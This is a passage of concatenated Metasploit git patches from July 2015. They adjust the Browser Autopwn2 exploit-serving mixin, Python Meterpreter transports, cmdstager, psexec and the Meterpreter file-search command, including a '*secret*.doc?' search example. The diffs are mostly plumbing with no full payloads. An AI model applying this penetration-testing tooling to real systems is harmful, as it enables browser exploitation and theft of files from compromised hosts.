vprint_line("#{parsed_body}.") - parsed_body.each { |k, v| profile[k.to_sym] = v.first } + parsed_body.each { |k, v| profile[k.to_sym] = (v.first == 'null' ? nil : v.first) } found_ua_name = parsed_body['ua_name'] found_ua_ver = parsed_body['ua_ver'] From 2276e355aa82a5eaf7f86b556aa3ea54de51f198 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 10:51:15 -0500 Subject: [PATCH 0766/1013] Fix a typo --- spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index c2a5317e60..0a85f94d56 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -11,7 +11,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do def mock_note_destroy - # The destory method doesn't pass the note as an argument startlike framework.jobs_stop_job. + # The destroy method doesn't pass the note as an argument startlike framework.jobs_stop_job. # So here's I'm just gonna clear them all, and that sort of mimics #destroy. framework = double('Msf::Framework', datastore: {}) From 100d3c8d465c351b4808d9dca59b74482fd0394f Mon Sep 17 00:00:00 2001 From: HD Moore Date: Tue, 14 Jul 2015 11:40:28 -0500 Subject: [PATCH 0767/1013] A number of small fixes for BAPv2 * Use module.register_parent() to pass WORKSPACE and other fields * Prevent partial resource matching in URIs * Make disclosure_date sorting resilient --- lib/msf/core/exploit/browser_autopwnv2.rb | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index f07e990b8c..2216a4242c 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -140,10 +140,9 @@ module Msf xploit.datastore['DisablePayloadHandler'] = true xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix xploit.datastore['URIPATH'] = "/#{assign_module_resource}" - xploit.datastore['WORKSPACE'] = self.workspace - # TODO: Add BAPv2 tracking information (?) - HD - # TODO: Change exploit output options? - HD + # Register this module as a child and copy datastore options + xploit.register_parent(self) end @@ -152,12 +151,13 @@ module Msf # @param resource [String] The resource to check. # @return [TrueClass] Resource is taken. # @return [FalseClass] Resource is not taken. - # TODO: Prevent partial prefix match - HD def is_resource_taken?(resource) taken = false bap_exploits.each do |m| - return true if m.datastore['URIPATH'] == resource + # Prevent partial matching of one resource within another + return true if m.datastore['URIPATH'].index(resource) + return true if resource.index(m.datastore['URIPATH']) end taken @@ -206,8 +206,10 @@ module Msf # @return [Hash] A hash with each module list sorted by disclosure date. def sort_date_in_group(bap_groups) bap_groups.each_pair do |ranking, module_list| - # TODO: Handle wonky dates in local modules better - HD - bap_groups[ranking] = module_list.sort_by {|m| Date.parse(m.disclosure_date.to_s)}.reverse + bap_groups[ranking] = module_list.sort_by {|m| + dstr = m.disclosure_date || "1970-01-01" + Date.parse(dstr) rescue Date.parse("1970-01-01") + }.reverse end end @@ -337,8 +339,9 @@ module Msf # Configurable only by BAP multi_handler.datastore['ExitOnSession'] = false multi_handler.datastore['EXITFUNC'] = 'thread' - multi_handler.datastore['WORKSPACE'] = self.workspace + # Register this module as a child and copy datastore options + multi_handler.register_parent(self) # Now we're ready to start the handler multi_handler.exploit_simple( From 2264efac158b0440230a5f4118f0aab685a97141 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 12:22:38 -0500 Subject: [PATCH 0768/1013] Reduce output --- lib/msf/core/exploit/browser_autopwnv2.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 2216a4242c..3a5e1e6358 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -140,6 +140,7 @@ module Msf xploit.datastore['DisablePayloadHandler'] = true xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix xploit.datastore['URIPATH'] = "/#{assign_module_resource}" + xploit.datastore['WORKSPACE'] = self.workspace # Register this module as a child and copy datastore options xploit.register_parent(self) @@ -156,6 +157,7 @@ module Msf bap_exploits.each do |m| # Prevent partial matching of one resource within another + next unless m.datastore['URIPATH'] return true if m.datastore['URIPATH'].index(resource) return true if resource.index(m.datastore['URIPATH']) end @@ -339,6 +341,7 @@ module Msf # Configurable only by BAP multi_handler.datastore['ExitOnSession'] = false multi_handler.datastore['EXITFUNC'] = 'thread' + multi_handler.datastore['WORKSPACE'] = self.workspace # Register this module as a child and copy datastore options multi_handler.register_parent(self) From 9dddb13d0b47ab51432fc176aa081925ef6ae944 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 13:10:57 -0500 Subject: [PATCH 0769/1013] Slow down on killing exploits Jobs aren't thread safe, so we kind of have to take it easy. --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 3a5e1e6358..6c9af0992b 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -87,6 +87,7 @@ module Msf def rm_exploit_jobs exploit_job_ids.each do |id| framework.jobs.stop_job(id) if framework.jobs[id.to_s] + sleep(0.1) end end @@ -107,6 +108,7 @@ module Msf # @see #Msf::Exploit::Remote::BrowserProfileManager#clear_browser_profiles The method for removing target information. # @return [void] def cleanup + print_status("Cleaning up jobs...") super configure_job_output(false) clear_browser_profiles From 9f48853e006a41f0f5763a1e188a2454f12f0c86 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 14 Jul 2015 14:26:27 -0400 Subject: [PATCH 0770/1013] Pymet fix the order in which transports are added --- data/meterpreter/meterpreter.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 11847bc36b..faa2fa3545 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -870,7 +870,9 @@ class PythonMeterpreter(object): return ERROR_SUCCESS, response def _core_transport_add(self, request, response): - self.transports.append(Transport.from_request(request)) + new_transport = Transport.from_request(request) + new_position = self.transports.index(self.transport) + 1 + self.transports.insert(new_position, new_transport) return ERROR_SUCCESS, response def _core_transport_change(self, request, response): From 00da6195562590f57403499b8fb9f5aca15fbf06 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 14 Jul 2015 14:32:57 -0400 Subject: [PATCH 0771/1013] Pymet fix previous transport index logic --- data/meterpreter/meterpreter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index faa2fa3545..f9e56a718e 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -732,7 +732,7 @@ class PythonMeterpreter(object): if current_transport is None: current_transport = self.transport new_idx = self.transports.index(current_transport) - 1 - if new_idx == 0: + if new_idx == -1: new_idx = len(self.transports) - 1 return self.transports[new_idx] From 9be030bbff64b1a430eb1830c2cb92a97a3b0803 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 14 Jul 2015 18:43:47 +0000 Subject: [PATCH 0772/1013] Fix nil in executable generation --- lib/msf/core/exploit/cmdstager.rb | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index 692f4fda2c..865122bfb4 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -108,18 +108,21 @@ module Exploit::CmdStager # @option opts :decoder [Symbol] The decoder stub to use. # @param pl [String] String containing the payload to execute # @return [Array] The list of commands to execute - # @raise [ArgumentError] raised if the cmd stub cannot be generated + # @raise [ArgumentError] raised if the exe or cmd stub cannot be generated def generate_cmdstager(opts = {}, pl = nil) select_cmdstager(opts) self.exe = generate_payload_exe(:code => pl) + if exe.nil? + raise ArgumentError, 'The executable could not be generated' + end + self.stager_instance = create_stager cmd_list = stager_instance.generate(opts_with_decoder(opts)) - if (cmd_list.nil? || cmd_list.length < 1) - print_error("The command stager could not be generated") - raise ArgumentError + if cmd_list.nil? || cmd_list.length.zero? + raise ArgumentError, 'The command stager could not be generated' end cmd_list From f76fe0787279d24681905a54d9d13f42a9399db7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 13:49:28 -0500 Subject: [PATCH 0773/1013] Fix SRVHOST --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 6c9af0992b..bde7c76d6c 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -654,7 +654,7 @@ module Msf exploit_list.each do |mod| proto = datastore['SSL'] ? 'https' : 'http' - host = datastore['URIHOST'] || Rex::Socket.source_address + host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] port = datastore['SRVPORT'] resource = mod.datastore['URIPATH'] url = "#{proto}://#{host}:#{port}#{resource}" From 9980e8f28532b65c4b10add316dc7b7c38927698 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 14:06:33 -0500 Subject: [PATCH 0774/1013] Change SRVHOST vs URIHOST vs Rex again --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index bde7c76d6c..cd81f661d9 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -654,7 +654,7 @@ module Msf exploit_list.each do |mod| proto = datastore['SSL'] ? 'https' : 'http' - host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + host = datastore['URIHOST'] || datastore['SRVHOST'] || Rex::Socket.source_address port = datastore['SRVPORT'] resource = mod.datastore['URIPATH'] url = "#{proto}://#{host}:#{port}#{resource}" From 8efb4df8af8073431edd08dfe338c2c5c3e43324 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 14:15:32 -0500 Subject: [PATCH 0775/1013] Change the HOST IP logic again --- lib/msf/core/exploit/browser_autopwnv2.rb | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index cd81f661d9..e1194ba093 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -654,7 +654,16 @@ module Msf exploit_list.each do |mod| proto = datastore['SSL'] ? 'https' : 'http' - host = datastore['URIHOST'] || datastore['SRVHOST'] || Rex::Socket.source_address + host = '' + if datastore['URIHOST'] + host = datastore['URIHOST'] + elsif cli + host = cli.peerhost + elsif datastore['SRVHOST'] != '0.0.0.0' + host = datastore['SRVHOST'] + else + host = Rex::Socket.source_address + end port = datastore['SRVPORT'] resource = mod.datastore['URIPATH'] url = "#{proto}://#{host}:#{port}#{resource}" From 61d49f29e83b1b75a30cf6c634802eb76daad5ba Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 14:16:49 -0500 Subject: [PATCH 0776/1013] Check nil for SRVHOST option --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index e1194ba093..94ad8fe4d4 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -659,7 +659,7 @@ module Msf host = datastore['URIHOST'] elsif cli host = cli.peerhost - elsif datastore['SRVHOST'] != '0.0.0.0' + elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' host = datastore['SRVHOST'] else host = Rex::Socket.source_address From 18cb55f1fad454cecc1aa5f07ed420ee88e1db6c Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 14 Jul 2015 15:18:11 -0400 Subject: [PATCH 0777/1013] Pymet fix transport automatic roll over --- data/meterpreter/meterpreter.py | 51 ++++++++++++++++++--------------- 1 file changed, 28 insertions(+), 23 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index f9e56a718e..c8c37c00d3 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -469,9 +469,10 @@ class Transport(object): pkt = self._get_packet() except: return None + if pkt is None: + return None self.communication_last = time.time() - if pkt: - self.communication_active = True + self.communication_active = True return pkt def send_packet(self, pkt): @@ -536,11 +537,13 @@ class HttpTransport(Transport): request = urllib.Request(self.url, bytes('RECV', 'UTF-8'), self._http_request_headers) url_h = urllib.urlopen(request, timeout=self.communication_timeout) packet = url_h.read() - if not packet or len(packet) < 8: - return None + if packet == '': + return '' + if len(packet) < 8: + return None # looks corrupt pkt_length, _ = struct.unpack('>II', packet[:8]) if len(packet) != pkt_length: - return None + return None # looks corrupt return packet[8:] def _send_packet(self, packet): @@ -609,26 +612,28 @@ class TcpTransport(Transport): self.socket = None def _get_packet(self): - packet = None first = self._first_packet self._first_packet = False - if select.select([self.socket], [], [], 0.5)[0]: - packet = self.socket.recv(8) - if len(packet) != 8: - if first and len(packet) == 4: - received = 0 - pkt_length = struct.unpack('>I', packet)[0] - self.socket.settimeout(max(self.communication_timeout, 30)) - while received < pkt_length: - received += len(self.socket.recv(pkt_length - received)) - self.socket.settimeout(None) - return self._get_packet() - return None - pkt_length, pkt_type = struct.unpack('>II', packet) - pkt_length -= 8 - packet = bytes() - while len(packet) < pkt_length: - packet += self.socket.recv(pkt_length - len(packet)) + if not select.select([self.socket], [], [], 0.5)[0]: + return '' + packet = self.socket.recv(8) + if packet == '': # remote is closed + return None + if len(packet) != 8: + if first and len(packet) == 4: + received = 0 + pkt_length = struct.unpack('>I', packet)[0] + self.socket.settimeout(max(self.communication_timeout, 30)) + while received < pkt_length: + received += len(self.socket.recv(pkt_length - received)) + self.socket.settimeout(None) + return self._get_packet() + return None + pkt_length, pkt_type = struct.unpack('>II', packet) + pkt_length -= 8 + packet = bytes() + while len(packet) < pkt_length: + packet += self.socket.recv(pkt_length - len(packet)) return packet def _send_packet(self, packet): From cf714fe4aabf3df441328ce320e618597ad00e5b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 14:19:00 -0500 Subject: [PATCH 0778/1013] Change port logic too --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 94ad8fe4d4..2c52def0c0 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -664,7 +664,7 @@ module Msf else host = Rex::Socket.source_address end - port = datastore['SRVPORT'] + port = datastore['URIPORT'] || datastore['SRVPORT'] resource = mod.datastore['URIPATH'] url = "#{proto}://#{host}:#{port}#{resource}" urls << url From 5e63b5f93ee46c01abfbddd56e2865ca00e5b05b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 14:37:45 -0500 Subject: [PATCH 0779/1013] Can't use cli --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 2c52def0c0..18eca7c0db 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -657,8 +657,6 @@ module Msf host = '' if datastore['URIHOST'] host = datastore['URIHOST'] - elsif cli - host = cli.peerhost elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' host = datastore['SRVHOST'] else From d64f4be6914986df63e0f399bcc58472d4f0ea09 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 14:45:10 -0500 Subject: [PATCH 0780/1013] Check if URIPORT is 0 --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 18eca7c0db..9e41438f23 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -662,7 +662,7 @@ module Msf else host = Rex::Socket.source_address end - port = datastore['URIPORT'] || datastore['SRVPORT'] + port = datastore['URIPORT'] == 0 ? datastore['SRVPORT'] : datastore['URIPORT'] resource = mod.datastore['URIPATH'] url = "#{proto}://#{host}:#{port}#{resource}" urls << url From 1992a5648d228394ccae1d84f1baf5d1243a66e7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 15:09:23 -0500 Subject: [PATCH 0781/1013] Make up our damn mind --- lib/msf/core/exploit/browser_autopwnv2.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 9e41438f23..65336a55fd 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -563,6 +563,7 @@ module Msf proto = (datastore['SSL'] ? "https" : "http") srvhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] srvport = datastore['SRVPORT'] + port = datastore['URIPORT'] == 0 ? datastore['SRVPORT'] : datastore['URIPORT'] service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}" print_status("Please use the following URL for the browser attack:") print_status("BrowserAutoPwn URL: #{service_uri}") @@ -654,15 +655,15 @@ module Msf exploit_list.each do |mod| proto = datastore['SSL'] ? 'https' : 'http' + # We haven't URIHOST and URIPORT into account here because + # the framework uses them only on `get_uri` host = '' - if datastore['URIHOST'] - host = datastore['URIHOST'] - elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' + if datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' host = datastore['SRVHOST'] else host = Rex::Socket.source_address end - port = datastore['URIPORT'] == 0 ? datastore['SRVPORT'] : datastore['URIPORT'] + port = datastore['SRVPORT'] resource = mod.datastore['URIPATH'] url = "#{proto}://#{host}:#{port}#{resource}" urls << url From 6685fc479bc9840e87e800564f3c583212794d5d Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 14 Jul 2015 20:16:52 +0000 Subject: [PATCH 0782/1013] Add multi-glob filesystem search to Meterpreter --- .../console/command_dispatcher/stdapi/fs.rb | 36 ++++++++++--------- 1 file changed, 20 insertions(+), 16 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index 3b05a90acf..272b4fc6c2 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -114,50 +114,54 @@ class Console::CommandDispatcher::Stdapi::Fs def cmd_search(*args) root = nil - glob = nil recurse = true + globs = [] + files = [] opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner." ], "-d" => [ true, "The directory/drive to begin searching from. Leave empty to search all drives. (Default: #{root})" ], - "-f" => [ true, "The file pattern glob to search for. (e.g. *secret*.doc?)" ], + "-f" => [ true, "A file pattern glob to search for. (e.g. *secret*.doc?)" ], "-r" => [ true, "Recursivly search sub directories. (Default: #{recurse})" ] ) opts.parse(args) { | opt, idx, val | case opt when "-h" - print_line("Usage: search [-d dir] [-r recurse] -f pattern") + print_line("Usage: search [-d dir] [-r recurse] -f pattern [-f pattern]...") print_line("Search for files.") print_line(opts.usage) return when "-d" root = val when "-f" - glob = val + globs << val when "-r" recurse = false if val =~ /^(f|n|0)/i end } - if not glob + if globs.empty? print_error("You must specify a valid file glob to search for, e.g. >search -f *.doc") return end - files = client.fs.file.search(root, glob, recurse) + globs.each do |glob| + files += client.fs.file.search(root, glob, recurse) + end - if not files.empty? - print_line("Found #{files.length} result#{ files.length > 1 ? 's' : '' }...") - files.each do | file | - if file['size'] > 0 - print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']} (#{file['size']} bytes)\n") - else - print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']}\n") - end - end - else + if files.empty? print_line("No files matching your search were found.") + return + end + + print_line("Found #{files.length} result#{ files.length > 1 ? 's' : '' }...") + files.each do | file | + if file['size'] > 0 + print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']} (#{file['size']} bytes)\n") + else + print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']}\n") + end end end From 219d0032fac4c143455c807b9a076e4a7c87180c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 15:36:35 -0500 Subject: [PATCH 0783/1013] Do print_good to make this important stand up more --- lib/msf/core/exploit/browser_autopwnv2.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 65336a55fd..6937605257 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -565,8 +565,8 @@ module Msf srvport = datastore['SRVPORT'] port = datastore['URIPORT'] == 0 ? datastore['SRVPORT'] : datastore['URIPORT'] service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}" - print_status("Please use the following URL for the browser attack:") - print_status("BrowserAutoPwn URL: #{service_uri}") + print_good("Please use the following URL for the browser attack:") + print_good("BrowserAutoPwn URL: #{service_uri}") end From a7d866bc83c5d1f9a375af24bc76ff5a9907209b Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Tue, 14 Jul 2015 15:45:52 -0600 Subject: [PATCH 0784/1013] specify the 'Arch' values that psexec supports --- modules/exploits/windows/smb/psexec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index a0583554d6..f99288beef 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -57,6 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote 'StackAdjustment' => -3500 }, 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X86_64], 'Targets' => [ [ 'Automatic', { } ], From 709676e6cc877b82ebae3308a80282765ba7867a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 14 Jul 2015 17:00:44 -0500 Subject: [PATCH 0785/1013] Make exploits quiet --- lib/msf/core/exploit/browser_autopwnv2.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 6937605257..47a91d587c 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -458,6 +458,7 @@ module Msf m.exploit_simple( 'LocalInput' => nil, 'LocalOutput' => nil, + 'Quiet' => true, 'Target' => 0, 'Payload' => m.datastore['PAYLOAD'], 'RunAsJob' => true From 4f8f6401891820c33dac7ca65ee4cd18b6231ee7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 17:38:51 -0500 Subject: [PATCH 0786/1013] Rename autopwnv2 to just autopwn2 --- .../exploit/{browser_autopwnv2.rb => browser_autopwn2.rb} | 4 ++-- lib/msf/core/exploit/mixins.rb | 2 +- modules/auxiliary/server/browser_autopwn2.rb | 2 +- .../{browser_autopwnv2_spec.rb => browser_autopwn2_spec.rb} | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) rename lib/msf/core/exploit/{browser_autopwnv2.rb => browser_autopwn2.rb} (99%) rename spec/lib/msf/core/exploit/{browser_autopwnv2_spec.rb => browser_autopwn2_spec.rb} (99%) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwn2.rb similarity index 99% rename from lib/msf/core/exploit/browser_autopwnv2.rb rename to lib/msf/core/exploit/browser_autopwn2.rb index 47a91d587c..7559adb18e 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwn2.rb @@ -1,6 +1,6 @@ ### # -# The Msf::Exploit::Remote::BrowserAutopwnv2 mixin is a replacement for the current BrowserAutoPwn. +# The Msf::Exploit::Remote::BrowserAutopwn2 mixin is a replacement for the current BrowserAutoPwn. # It works with other components such as BrowserExploitServer, BrowserProfileManager, and BES-based # exploits to perform a faster and smarter automated client-side attack. # @@ -9,7 +9,7 @@ require 'date' module Msf - module Exploit::Remote::BrowserAutopwnv2 + module Exploit::Remote::BrowserAutopwn2 include Msf::Exploit::Remote::BrowserExploitServer diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 80afde7037..a575d03a83 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -104,4 +104,4 @@ require 'msf/core/exploit/android' # Browser Exploit Server require 'msf/core/exploit/remote/browser_exploit_server' -require 'msf/core/exploit/browser_autopwnv2' +require 'msf/core/exploit/browser_autopwn2' diff --git a/modules/auxiliary/server/browser_autopwn2.rb b/modules/auxiliary/server/browser_autopwn2.rb index e514547b7d..382e6007e9 100644 --- a/modules/auxiliary/server/browser_autopwn2.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::BrowserAutopwnv2 + include Msf::Exploit::Remote::BrowserAutopwn2 def initialize(info={}) super(update_info(info, diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb similarity index 99% rename from spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb rename to spec/lib/msf/core/exploit/browser_autopwn2_spec.rb index 0a85f94d56..97626b61d3 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb @@ -1,6 +1,6 @@ require 'msf/core' -describe Msf::Exploit::Remote::BrowserAutopwnv2 do +describe Msf::Exploit::Remote::BrowserAutopwn2 do From b6e25506d0572121046297189697a2526de75cd5 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 15 Jul 2015 12:58:49 +1000 Subject: [PATCH 0787/1013] Add a common user agent list, use the shortest for Meterpreter --- lib/msf/core/handler/reverse_http.rb | 54 ++++---- lib/rex/user_agent.rb | 118 ++++++++++++++++++ .../payloads/stagers/python/reverse_http.rb | 2 +- .../payloads/stagers/python/reverse_https.rb | 2 +- 4 files changed, 146 insertions(+), 30 deletions(-) create mode 100644 lib/rex/user_agent.rb diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index b0bf70d9e5..665f9125b3 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -5,6 +5,7 @@ require 'rex/payloads/meterpreter/uri_checksum' require 'rex/post/meterpreter' require 'rex/parser/x509_certificate' require 'msf/core/payload/windows/verify_ssl' +require 'rex/user_agent' module Msf module Handler @@ -24,7 +25,7 @@ module ReverseHttp # Returns the string representation of the handler type # def self.handler_type - return "reverse_http" + return 'reverse_http' end # @@ -43,19 +44,19 @@ module ReverseHttp register_options( [ - OptString.new('LHOST', [ true, "The local listener hostname" ]), - OptPort.new('LPORT', [ true, "The local listener port", 8080 ]) + OptString.new('LHOST', [true, 'The local listener hostname']), + OptPort.new('LPORT', [true, 'The local listener port', 8080]) ], Msf::Handler::ReverseHttp) register_advanced_options( [ - OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), - OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]), - OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]), - OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), - OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), - OptBool.new('OverrideRequestHost', [ false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false ]), - OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '

    It works!

